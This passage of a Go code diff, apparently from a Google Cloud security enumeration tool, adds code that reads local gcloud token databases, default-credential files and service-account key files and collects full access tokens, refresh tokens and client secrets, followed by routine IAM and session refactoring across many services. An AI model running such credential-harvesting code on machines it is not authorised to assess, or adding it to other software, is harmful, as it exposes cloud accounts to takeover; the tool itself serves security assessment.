if p, ok := profileMap[at.AccountID]; ok {
|
||||
summary.Profile = p.Name
|
||||
summary.Project = p.Project
|
||||
summary.IsActive = (p.Name == activeConfig)
|
||||
}
|
||||
|
||||
// Full access token
|
||||
summary.AccessToken = at.AccessToken
|
||||
|
||||
summaries = append(summaries, summary)
|
||||
}
|
||||
|
||||
// Process refresh tokens that don't have a matching access token
|
||||
accessTokenAccounts := make(map[string]bool)
|
||||
for _, at := range accessTokens {
|
||||
accessTokenAccounts[at.AccountID] = true
|
||||
}
|
||||
for _, rt := range refreshTokens {
|
||||
if accessTokenAccounts[rt.AccountID] {
|
||||
continue // Already covered by access token entry
|
||||
}
|
||||
summary := CredentialSummary{
|
||||
Account: rt.AccountID,
|
||||
Type: "refresh_token",
|
||||
Source: "credentials.db",
|
||||
Validity: "N/A",
|
||||
HasRefresh: true,
|
||||
RAPTStatus: "UNKNOWN",
|
||||
}
|
||||
if rt.RAPTToken != "" {
|
||||
summary.RAPTStatus = "ENROLLED"
|
||||
} else {
|
||||
summary.RAPTStatus = "NOT_ENROLLED"
|
||||
}
|
||||
if p, ok := profileMap[rt.AccountID]; ok {
|
||||
summary.Profile = p.Name
|
||||
summary.Project = p.Project
|
||||
summary.IsActive = (p.Name == activeConfig)
|
||||
}
|
||||
summaries = append(summaries, summary)
|
||||
}
|
||||
|
||||
// Process ADC
|
||||
if adc != nil {
|
||||
adcAccount := "application_default"
|
||||
// Try to correlate ADC with an account via refresh token hash
|
||||
if adc.RefreshToken != "" {
|
||||
hash := sha256Hash(adc.RefreshToken)
|
||||
for _, rt := range refreshTokens {
|
||||
if rt.RefreshToken != "" && sha256Hash(rt.RefreshToken) == hash {
|
||||
adcAccount = rt.AccountID
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
summary := CredentialSummary{
|
||||
Account: adcAccount,
|
||||
Type: "adc",
|
||||
Source: "application_default_credentials.json",
|
||||
Validity: "N/A",
|
||||
HasRefresh: adc.RefreshToken != "",
|
||||
RAPTStatus: "UNKNOWN",
|
||||
Project: adc.QuotaProject,
|
||||
}
|
||||
if p, ok := profileMap[adcAccount]; ok {
|
||||
summary.Profile = p.Name
|
||||
summary.IsActive = (p.Name == activeConfig)
|
||||
}
|
||||
summaries = append(summaries, summary)
|
||||
}
|
||||
|
||||
// Process SA key file from GOOGLE_APPLICATION_CREDENTIALS
|
||||
if saKeyPath != "" {
|
||||
if _, err := os.Stat(saKeyPath); err == nil {
|
||||
summary := CredentialSummary{
|
||||
Account: "GOOGLE_APPLICATION_CREDENTIALS",
|
||||
Type: "sa_key",
|
||||
Source: saKeyPath,
|
||||
Validity: "ACTIVE",
|
||||
HasRefresh: false,
|
||||
RAPTStatus: "N/A",
|
||||
}
|
||||
// Try to read the SA key file for the email
|
||||
saEmail := readSAKeyEmail(saKeyPath)
|
||||
if saEmail != "" {
|
||||
summary.Account = saEmail
|
||||
}
|
||||
summaries = append(summaries, summary)
|
||||
}
|
||||
}
|
||||
|
||||
return summaries, nil
|
||||
}
|
||||
|
||||
// readAccessTokensDB reads access_tokens.db SQLite database
|
||||
func (s *AccessTokensService) readAccessTokensDB() ([]AccessToken, error) {
|
||||
dbPath := filepath.Join(s.configDir, "access_tokens.db")
|
||||
if _, err := os.Stat(dbPath); os.IsNotExist(err) {
|
||||
return nil, fmt.Errorf("file not found: %s", dbPath)
|
||||
}
|
||||
|
||||
db, err := sql.Open("sqlite", dbPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("could not open %s: %w", dbPath, err)
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
rows, err := db.Query("SELECT account_id, access_token, token_expiry, rapt_token, id_token FROM access_tokens")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("query failed: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var tokens []AccessToken
|
||||
for rows.Next() {
|
||||
var t AccessToken
|
||||
var expiryStr, raptToken, idToken sql.NullString
|
||||
var accessToken sql.NullString
|
||||
|
||||
err := rows.Scan(&t.AccountID, &accessToken, &expiryStr, &raptToken, &idToken)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if accessToken.Valid {
|
||||
t.AccessToken = accessToken.String
|
||||
}
|
||||
if expiryStr.Valid && expiryStr.String != "" {
|
||||
// Try multiple time formats
|
||||
for _, layout := range []string{
|
||||
time.RFC3339,
|
||||
"2006-01-02T15:04:05Z",
|
||||
"2006-01-02 15:04:05",
|
||||
time.RFC3339Nano,
|
||||
} {
|
||||
if parsed, err := time.Parse(layout, expiryStr.String); err == nil {
|
||||
t.TokenExpiry = parsed
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
if raptToken.Valid {
|
||||
t.RAPTToken = raptToken.String
|
||||
}
|
||||
if idToken.Valid {
|
||||
t.IDToken = idToken.String
|
||||
}
|
||||
|
||||
tokens = append(tokens, t)
|
||||
}
|
||||
|
||||
return tokens, nil
|
||||
}
|
||||
|
||||
// readCredentialsDB reads credentials.db SQLite database
|
||||
func (s *AccessTokensService) readCredentialsDB() ([]RefreshToken, error) {
|
||||
dbPath := filepath.Join(s.configDir, "credentials.db")
|
||||
if _, err := os.Stat(dbPath); os.IsNotExist(err) {
|
||||
return nil, fmt.Errorf("file not found: %s", dbPath)
|
||||
}
|
||||
|
||||
db, err := sql.Open("sqlite", dbPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("could not open %s: %w", dbPath, err)
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
rows, err := db.Query("SELECT account_id, value FROM credentials")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("query failed: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var tokens []RefreshToken
|
||||
for rows.Next() {
|
||||
var accountID string
|
||||
var valueJSON sql.NullString
|
||||
|
||||
err := rows.Scan(&accountID, &valueJSON)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
rt := RefreshToken{
|
||||
AccountID: accountID,
|
||||
}
|
||||
|
||||
if valueJSON.Valid && valueJSON.String != "" {
|
||||
var cred struct {
|
||||
RefreshToken string `json:"refresh_token"`
|
||||
TokenURI string `json:"token_uri"`
|
||||
ClientID string `json:"client_id"`
|
||||
ClientSecret string `json:"client_secret"`
|
||||
RAPTToken string `json:"rapt_token"`
|
||||
Type string `json:"type"`
|
||||
}
|
||||
if err := json.Unmarshal([]byte(valueJSON.String), &cred); err == nil {
|
||||
rt.RefreshToken = cred.RefreshToken
|
||||
rt.TokenURI = cred.TokenURI
|
||||
rt.ClientID = cred.ClientID
|
||||
rt.ClientSecret = cred.ClientSecret
|
||||
rt.RAPTToken = cred.RAPTToken
|
||||
rt.Type = cred.Type
|
||||
}
|
||||
}
|
||||
|
||||
tokens = append(tokens, rt)
|
||||
}
|
||||
|
||||
return tokens, nil
|
||||
}
|
||||
|
||||
// readADC reads application_default_credentials.json
|
||||
func (s *AccessTokensService) readADC() (*ADCCredential, error) {
|
||||
// Check well-known location
|
||||
adcPath := filepath.Join(s.configDir, "application_default_credentials.json")
|
||||
if _, err := os.Stat(adcPath); os.IsNotExist(err) {
|
||||
return nil, fmt.Errorf("file not found: %s", adcPath)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(adcPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("could not read %s: %w", adcPath, err)
|
||||
}
|
||||
|
||||
var adc ADCCredential
|
||||
if err := json.Unmarshal(data, &adc); err != nil {
|
||||
return nil, fmt.Errorf("could not parse %s: %w", adcPath, err)
|
||||
}
|
||||
|
||||
return &adc, nil
|
||||
}
|
||||
|
||||
// readActiveConfig reads the active_config file to determine the active profile name
|
||||
func (s *AccessTokensService) readActiveConfig() string {
|
||||
path := filepath.Join(s.configDir, "active_config")
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return "default"
|
||||
}
|
||||
name := strings.TrimSpace(string(data))
|
||||
if name == "" {
|
||||
return "default"
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
// readAllProfiles scans all config_* files in the configurations directory
|
||||
func (s *AccessTokensService) readAllProfiles() []GcloudProfile {
|
||||
configsDir := filepath.Join(s.configDir, "configurations")
|
||||
entries, err := os.ReadDir(configsDir)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var profiles []GcloudProfile
|
||||
for _, entry := range entries {
|
||||
if entry.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := entry.Name()
|
||||
if !strings.HasPrefix(name, "config_") {
|
||||
continue
|
||||
}
|
||||
profileName := strings.TrimPrefix(name, "config_")
|
||||
path := filepath.Join(configsDir, name)
|
||||
profile := parseConfigFile(path, profileName)
|
||||
profiles = append(profiles, profile)
|
||||
}
|
||||
|
||||
return profiles
|
||||
}
|
||||
|
||||
// parseConfigFile reads a gcloud INI-style configuration file
|
||||
func parseConfigFile(path string, profileName string) GcloudProfile {
|
||||
profile := GcloudProfile{Name: profileName}
|
||||
|
||||
file, err := os.Open(path)
|
||||
if err != nil {
|
||||
return profile
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
scanner := bufio.NewScanner(file)
|
||||
for scanner.Scan() {
|
||||
line := strings.TrimSpace(scanner.Text())
|
||||
if line == "" || strings.HasPrefix(line, "#") || strings.HasPrefix(line, ";") {
|
||||
continue
|
||||
}
|
||||
// Skip section headers
|
||||
if strings.HasPrefix(line, "[") {
|
||||
continue
|
||||
}
|
||||
parts := strings.SplitN(line, "=", 2)
|
||||
if len(parts) != 2 {
|
||||
continue
|
||||
}
|
||||
key := strings.TrimSpace(parts[0])
|
||||
value := strings.TrimSpace(parts[1])
|
||||
|
||||
switch key {
|
||||
case "account":
|
||||
profile.Account = value
|
||||
case "project":
|
||||
profile.Project = value
|
||||
}
|
||||
}
|
||||
|
||||
return profile
|
||||
}
|
||||
|
||||
// readSAKeyEmail reads a service account key JSON file to extract the client_email
|
||||
func readSAKeyEmail(path string) string {
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
var key struct {
|
||||
ClientEmail string `json:"client_email"`
|
||||
}
|
||||
if err := json.Unmarshal(data, &key); err != nil {
|
||||
return ""
|
||||
}
|
||||
return key.ClientEmail
|
||||
}
|
||||
|
||||
// sha256Hash computes SHA-256 hash of a string
|
||||
func sha256Hash(s string) string {
|
||||
h := sha256.Sum256([]byte(s))
|
||||
return hex.EncodeToString(h[:])
|
||||
}
|
||||
@@ -17,7 +17,7 @@ type APIKeysService struct {
|
||||
|
||||
// New creates a new APIKeysService
|
||||
func New() *APIKeysService {
|
||||
return &APIKeysService{}
|
||||
return &APIKeysService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
// NewWithSession creates an APIKeysService with a SafeSession for managed authentication
|
||||
|
||||
@@ -206,6 +206,7 @@ func (ars *ArtifactRegistryService) getRepositoryIAMPolicy(ctx context.Context,
|
||||
// Get IAM policy
|
||||
req := &iampb.GetIamPolicyRequest{
|
||||
Resource: repoName,
|
||||
Options: &iampb.GetPolicyOptions{RequestedPolicyVersion: 3},
|
||||
}
|
||||
|
||||
policy, err := client.GetIamPolicy(ctx, req)
|
||||
|
||||
@@ -16,7 +16,7 @@ type AssetService struct {
|
||||
}
|
||||
|
||||
func New() *AssetService {
|
||||
return &AssetService{}
|
||||
return &AssetService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *AssetService {
|
||||
|
||||
@@ -15,7 +15,7 @@ type BeyondCorpService struct {
|
||||
}
|
||||
|
||||
func New() *BeyondCorpService {
|
||||
return &BeyondCorpService{}
|
||||
return &BeyondCorpService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *BeyondCorpService {
|
||||
|
||||
@@ -15,7 +15,7 @@ type BigQueryEnumService struct {
|
||||
}
|
||||
|
||||
func New() *BigQueryEnumService {
|
||||
return &BigQueryEnumService{}
|
||||
return &BigQueryEnumService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *BigQueryEnumService {
|
||||
|
||||
@@ -18,6 +18,7 @@ type AccessEntry struct {
|
||||
Role string `json:"role"` // OWNER, WRITER, READER
|
||||
EntityType string `json:"entityType"` // User, Group, Domain, ServiceAccount, etc.
|
||||
Entity string `json:"entity"` // The actual entity identifier
|
||||
Source string `json:"source"` // "Resource" (direct) or "Project" (inherited)
|
||||
}
|
||||
|
||||
// BigqueryDataset represents a dataset in BigQuery with security-relevant fields
|
||||
@@ -98,6 +99,7 @@ type BigqueryTable struct {
|
||||
type TableIAMBinding struct {
|
||||
Role string `json:"role"`
|
||||
Members []string `json:"members"`
|
||||
Source string `json:"source"` // "Resource" (direct) or "Project" (inherited)
|
||||
}
|
||||
|
||||
// CombinedBigqueryData represents both datasets and tables within a project
|
||||
@@ -112,7 +114,7 @@ type BigQueryService struct {
|
||||
|
||||
// New creates a new instance of BigQueryService (legacy - uses ADC directly)
|
||||
func New() *BigQueryService {
|
||||
return &BigQueryService{}
|
||||
return &BigQueryService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
// NewWithSession creates a BigQueryService with a SafeSession for managed authentication
|
||||
|
||||
@@ -15,7 +15,7 @@ type BigtableEnumService struct {
|
||||
}
|
||||
|
||||
func New() *BigtableEnumService {
|
||||
return &BigtableEnumService{}
|
||||
return &BigtableEnumService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *BigtableEnumService {
|
||||
|
||||
@@ -15,7 +15,7 @@ type BigtableService struct {
|
||||
}
|
||||
|
||||
func New() *BigtableService {
|
||||
return &BigtableService{}
|
||||
return &BigtableService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *BigtableService {
|
||||
|
||||
@@ -17,7 +17,7 @@ type BucketEnumService struct {
|
||||
}
|
||||
|
||||
func New() *BucketEnumService {
|
||||
return &BucketEnumService{}
|
||||
return &BucketEnumService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *BucketEnumService {
|
||||
|
||||
@@ -17,7 +17,7 @@ type CertManagerService struct {
|
||||
}
|
||||
|
||||
func New() *CertManagerService {
|
||||
return &CertManagerService{}
|
||||
return &CertManagerService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *CertManagerService {
|
||||
|
||||
@@ -15,7 +15,7 @@ type CloudArmorService struct{
|
||||
}
|
||||
|
||||
func New() *CloudArmorService {
|
||||
return &CloudArmorService{}
|
||||
return &CloudArmorService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *CloudArmorService {
|
||||
|
||||
@@ -20,7 +20,7 @@ type CloudStorageService struct {
|
||||
|
||||
// New creates a new CloudStorageService (requires session for SDK caching)
|
||||
func New() *CloudStorageService {
|
||||
return &CloudStorageService{}
|
||||
return &CloudStorageService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
// NewWithSession creates a CloudStorageService with a SafeSession for managed authentication
|
||||
@@ -32,6 +32,7 @@ func NewWithSession(session *gcpinternal.SafeSession) *CloudStorageService {
|
||||
type IAMBinding struct {
|
||||
Role string `json:"role"`
|
||||
Members []string `json:"members"`
|
||||
Source string `json:"source"` // "Resource" (direct) or "Project" (inherited)
|
||||
}
|
||||
|
||||
// LifecycleRule represents a single lifecycle rule on a bucket
|
||||
|
||||
@@ -16,7 +16,7 @@ type CloudBuildService struct {
|
||||
|
||||
// New creates a new CloudBuildService
|
||||
func New() *CloudBuildService {
|
||||
return &CloudBuildService{}
|
||||
return &CloudBuildService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
// NewWithSession creates a CloudBuildService with a SafeSession for managed authentication
|
||||
|
||||
@@ -17,7 +17,7 @@ type CloudRunService struct{
|
||||
}
|
||||
|
||||
func New() *CloudRunService {
|
||||
return &CloudRunService{}
|
||||
return &CloudRunService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *CloudRunService {
|
||||
@@ -116,6 +116,7 @@ type SecretRefInfo struct {
|
||||
type IAMBinding struct {
|
||||
Role string
|
||||
Member string
|
||||
Source string // "Resource" (direct) or "Project" (inherited)
|
||||
}
|
||||
|
||||
// JobInfo holds Cloud Run job details
|
||||
|
||||
@@ -15,7 +15,7 @@ type CloudSQLService struct{
|
||||
}
|
||||
|
||||
func New() *CloudSQLService {
|
||||
return &CloudSQLService{}
|
||||
return &CloudSQLService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *CloudSQLService {
|
||||
|
||||
@@ -17,7 +17,7 @@ type ComposerService struct {
|
||||
}
|
||||
|
||||
func New() *ComposerService {
|
||||
return &ComposerService{}
|
||||
return &ComposerService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *ComposerService {
|
||||
|
||||
@@ -16,7 +16,7 @@ type ComputeEngineService struct {
|
||||
|
||||
// New creates a new ComputeEngineService (legacy - uses ADC directly)
|
||||
func New() *ComputeEngineService {
|
||||
return &ComputeEngineService{}
|
||||
return &ComputeEngineService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
// NewWithSession creates a ComputeEngineService with a SafeSession for managed authentication
|
||||
@@ -34,6 +34,7 @@ type ServiceAccountInfo struct {
|
||||
type IAMBinding struct {
|
||||
Role string `json:"role"`
|
||||
Member string `json:"member"`
|
||||
Source string `json:"source"` // "Resource" (direct) or "Project" (inherited)
|
||||
}
|
||||
|
||||
// InstanceType represents the type/manager of an instance
|
||||
|
||||
@@ -18,7 +18,7 @@ type CrossProjectService struct {
|
||||
}
|
||||
|
||||
func New() *CrossProjectService {
|
||||
return &CrossProjectService{}
|
||||
return &CrossProjectService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *CrossProjectService {
|
||||
|
||||
@@ -14,7 +14,7 @@ type DataflowService struct {
|
||||
}
|
||||
|
||||
func New() *DataflowService {
|
||||
return &DataflowService{}
|
||||
return &DataflowService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *DataflowService {
|
||||
|
||||
@@ -16,7 +16,7 @@ type DataprocService struct {
|
||||
}
|
||||
|
||||
func New() *DataprocService {
|
||||
return &DataprocService{}
|
||||
return &DataprocService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *DataprocService {
|
||||
|
||||
@@ -15,7 +15,7 @@ type DNSService struct{
|
||||
}
|
||||
|
||||
func New() *DNSService {
|
||||
return &DNSService{}
|
||||
return &DNSService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *DNSService {
|
||||
|
||||
@@ -15,7 +15,7 @@ type DomainWideDelegationService struct{
|
||||
}
|
||||
|
||||
func New() *DomainWideDelegationService {
|
||||
return &DomainWideDelegationService{}
|
||||
return &DomainWideDelegationService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *DomainWideDelegationService {
|
||||
|
||||
@@ -15,7 +15,7 @@ type FilestoreService struct {
|
||||
}
|
||||
|
||||
func New() *FilestoreService {
|
||||
return &FilestoreService{}
|
||||
return &FilestoreService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *FilestoreService {
|
||||
|
||||
@@ -15,7 +15,7 @@ type FunctionsService struct{
|
||||
}
|
||||
|
||||
func New() *FunctionsService {
|
||||
return &FunctionsService{}
|
||||
return &FunctionsService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *FunctionsService {
|
||||
@@ -94,6 +94,7 @@ type EnvVarInfo struct {
|
||||
type IAMBinding struct {
|
||||
Role string
|
||||
Member string
|
||||
Source string // "Resource" (direct) or "Project" (inherited)
|
||||
}
|
||||
|
||||
// getService returns a Cloud Functions v2 service instance, using cached wrapper if session is available
|
||||
|
||||
@@ -16,7 +16,7 @@ type GKEService struct {
|
||||
|
||||
// New creates a new GKEService (legacy - uses ADC directly)
|
||||
func New() *GKEService {
|
||||
return &GKEService{}
|
||||
return &GKEService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
// NewWithSession creates a GKEService with a SafeSession for managed authentication
|
||||
|
||||
@@ -15,7 +15,7 @@ type HMACService struct {
|
||||
}
|
||||
|
||||
func New() *HMACService {
|
||||
return &HMACService{}
|
||||
return &HMACService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *HMACService {
|
||||
|
||||
@@ -26,7 +26,7 @@ type IAMService struct {
|
||||
|
||||
// New creates a new IAMService (legacy - uses ADC directly)
|
||||
func New() *IAMService {
|
||||
return &IAMService{}
|
||||
return &IAMService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
// NewWithSession creates an IAMService with a SafeSession for managed authentication
|
||||
@@ -277,6 +277,7 @@ func (s *IAMService) Policies(resourceID string, resourceType string) ([]PolicyB
|
||||
|
||||
req := &iampb.GetIamPolicyRequest{
|
||||
Resource: resourceName,
|
||||
Options: &iampb.GetPolicyOptions{RequestedPolicyVersion: 3},
|
||||
}
|
||||
|
||||
// Fetch the IAM policy for the resource
|
||||
@@ -623,7 +624,10 @@ func (s *IAMService) getPoliciesForResource(ctx context.Context, resourceID stri
|
||||
defer client.Close()
|
||||
|
||||
resourceName = "projects/" + resourceID
|
||||
policy, err := client.GetIamPolicy(ctx, &iampb.GetIamPolicyRequest{Resource: resourceName})
|
||||
policy, err := client.GetIamPolicy(ctx, &iampb.GetIamPolicyRequest{
|
||||
Resource: resourceName,
|
||||
Options: &iampb.GetPolicyOptions{RequestedPolicyVersion: 3},
|
||||
})
|
||||
if err != nil {
|
||||
return nil, gcpinternal.ParseGCPError(err, "cloudresourcemanager.googleapis.com")
|
||||
}
|
||||
@@ -646,7 +650,10 @@ func (s *IAMService) getPoliciesForResource(ctx context.Context, resourceID stri
|
||||
defer client.Close()
|
||||
|
||||
resourceName = "folders/" + resourceID
|
||||
policy, err := client.GetIamPolicy(ctx, &iampb.GetIamPolicyRequest{Resource: resourceName})
|
||||
policy, err := client.GetIamPolicy(ctx, &iampb.GetIamPolicyRequest{
|
||||
Resource: resourceName,
|
||||
Options: &iampb.GetPolicyOptions{RequestedPolicyVersion: 3},
|
||||
})
|
||||
if err != nil {
|
||||
policyFailureCache[cacheKey] = true
|
||||
return nil, gcpinternal.ParseGCPError(err, "cloudresourcemanager.googleapis.com")
|
||||
@@ -670,7 +677,10 @@ func (s *IAMService) getPoliciesForResource(ctx context.Context, resourceID stri
|
||||
defer client.Close()
|
||||
|
||||
resourceName = "organizations/" + resourceID
|
||||
policy, err := client.GetIamPolicy(ctx, &iampb.GetIamPolicyRequest{Resource: resourceName})
|
||||
policy, err := client.GetIamPolicy(ctx, &iampb.GetIamPolicyRequest{
|
||||
Resource: resourceName,
|
||||
Options: &iampb.GetPolicyOptions{RequestedPolicyVersion: 3},
|
||||
})
|
||||
if err != nil {
|
||||
policyFailureCache[cacheKey] = true
|
||||
return nil, gcpinternal.ParseGCPError(err, "cloudresourcemanager.googleapis.com")
|
||||
@@ -956,6 +966,7 @@ func (s *IAMService) GetRolePermissions(ctx context.Context, roleName string) ([
|
||||
// Project-level custom role
|
||||
role, err := iamService.Projects.Roles.Get(roleName).Context(ctx).Do()
|
||||
if err != nil {
|
||||
rolePermissionsFailureCache[roleName] = true
|
||||
return nil, gcpinternal.ParseGCPError(err, "iam.googleapis.com")
|
||||
}
|
||||
permissions = role.IncludedPermissions
|
||||
@@ -1424,7 +1435,7 @@ func (s *IAMService) GetServiceAccountIAMPolicy(ctx context.Context, saEmail str
|
||||
|
||||
saResource := fmt.Sprintf("projects/%s/serviceAccounts/%s", projectID, saEmail)
|
||||
|
||||
policy, err := iamService.Projects.ServiceAccounts.GetIamPolicy(saResource).Context(ctx).Do()
|
||||
policy, err := iamService.Projects.ServiceAccounts.GetIamPolicy(saResource).OptionsRequestedPolicyVersion(3).Context(ctx).Do()
|
||||
if err != nil {
|
||||
return nil, gcpinternal.ParseGCPError(err, "iam.googleapis.com")
|
||||
}
|
||||
@@ -1465,6 +1476,47 @@ func (s *IAMService) GetServiceAccountIAMPolicy(ctx context.Context, saEmail str
|
||||
return info, nil
|
||||
}
|
||||
|
||||
// GetServiceAccountIAMBindings returns raw PolicyBinding objects for a service account's IAM policy.
|
||||
// This is used by the permissions module to explode SA-level bindings into individual permissions.
|
||||
func (s *IAMService) GetServiceAccountIAMBindings(ctx context.Context, saEmail string, projectID string) ([]PolicyBinding, error) {
|
||||
iamService, err := s.getIAMService(ctx)
|
||||
if err != nil {
|
||||
return nil, gcpinternal.ParseGCPError(err, "iam.googleapis.com")
|
||||
}
|
||||
|
||||
saResource := fmt.Sprintf("projects/%s/serviceAccounts/%s", projectID, saEmail)
|
||||
|
||||
policy, err := iamService.Projects.ServiceAccounts.GetIamPolicy(saResource).OptionsRequestedPolicyVersion(3).Context(ctx).Do()
|
||||
if err != nil {
|
||||
return nil, gcpinternal.ParseGCPError(err, "iam.googleapis.com")
|
||||
}
|
||||
|
||||
var bindings []PolicyBinding
|
||||
for _, binding := range policy.Bindings {
|
||||
pb := PolicyBinding{
|
||||
Role: binding.Role,
|
||||
Members: binding.Members,
|
||||
ResourceID: saEmail,
|
||||
ResourceType: "serviceAccount",
|
||||
PolicyName: saResource + "_policyBindings",
|
||||
}
|
||||
|
||||
if binding.Condition != nil {
|
||||
pb.Condition = fmt.Sprintf("title:%s expression:%s", binding.Condition.Title, binding.Condition.Expression)
|
||||
pb.HasCondition = true
|
||||
pb.ConditionInfo = &IAMCondition{
|
||||
Title: binding.Condition.Title,
|
||||
Description: binding.Condition.Description,
|
||||
Expression: binding.Condition.Expression,
|
||||
}
|
||||
}
|
||||
|
||||
bindings = append(bindings, pb)
|
||||
}
|
||||
|
||||
return bindings, nil
|
||||
}
|
||||
|
||||
// GetAllServiceAccountImpersonation analyzes impersonation risks for all SAs in a project
|
||||
func (s *IAMService) GetAllServiceAccountImpersonation(projectID string) ([]SAImpersonationInfo, error) {
|
||||
ctx := context.Background()
|
||||
@@ -1672,6 +1724,7 @@ func (s *IAMService) GetOrganizationIAM(ctx context.Context) ([]ScopeBinding, ma
|
||||
// Get IAM policy for this organization
|
||||
policy, err := orgsClient.GetIamPolicy(ctx, &iampb.GetIamPolicyRequest{
|
||||
Resource: org.Name,
|
||||
Options: &iampb.GetPolicyOptions{RequestedPolicyVersion: 3},
|
||||
})
|
||||
if err != nil {
|
||||
continue
|
||||
@@ -1744,6 +1797,7 @@ func (s *IAMService) GetFolderIAM(ctx context.Context) ([]ScopeBinding, map[stri
|
||||
// Get IAM policy for this folder
|
||||
policy, err := foldersClient.GetIamPolicy(ctx, &iampb.GetIamPolicyRequest{
|
||||
Resource: folder.Name,
|
||||
Options: &iampb.GetPolicyOptions{RequestedPolicyVersion: 3},
|
||||
})
|
||||
if err != nil {
|
||||
continue
|
||||
|
||||
@@ -16,7 +16,7 @@ type IAPService struct {
|
||||
}
|
||||
|
||||
func New() *IAPService {
|
||||
return &IAPService{}
|
||||
return &IAPService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *IAPService {
|
||||
|
||||
@@ -15,7 +15,7 @@ type KMSService struct{
|
||||
}
|
||||
|
||||
func New() *KMSService {
|
||||
return &KMSService{}
|
||||
return &KMSService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *KMSService {
|
||||
@@ -47,6 +47,7 @@ type KeyRingInfo struct {
|
||||
type IAMBinding struct {
|
||||
Role string
|
||||
Member string
|
||||
Source string // "Resource" (direct) or "Project" (inherited)
|
||||
}
|
||||
|
||||
// CryptoKeyInfo holds KMS crypto key details with security-relevant information
|
||||
|
||||
@@ -14,7 +14,7 @@ type LoadBalancerService struct {
|
||||
}
|
||||
|
||||
func New() *LoadBalancerService {
|
||||
return &LoadBalancerService{}
|
||||
return &LoadBalancerService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *LoadBalancerService {
|
||||
|
||||
@@ -16,7 +16,7 @@ type LogEnumService struct {
|
||||
}
|
||||
|
||||
func New() *LogEnumService {
|
||||
return &LogEnumService{}
|
||||
return &LogEnumService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *LogEnumService {
|
||||
|
||||
@@ -19,7 +19,7 @@ type LoggingService struct{
|
||||
}
|
||||
|
||||
func New() *LoggingService {
|
||||
return &LoggingService{}
|
||||
return &LoggingService{session: gcpinternal.GetDefaultSession()}
|
||||
}
|
||||
|
||||
func NewWithSession(session *gcpinternal.SafeSession) *LoggingService {
|
||||
|
||||
@@ -15,7 +15,7 @@ type MemorystoreService struct {
|
||||
}
|
||||
|
||||
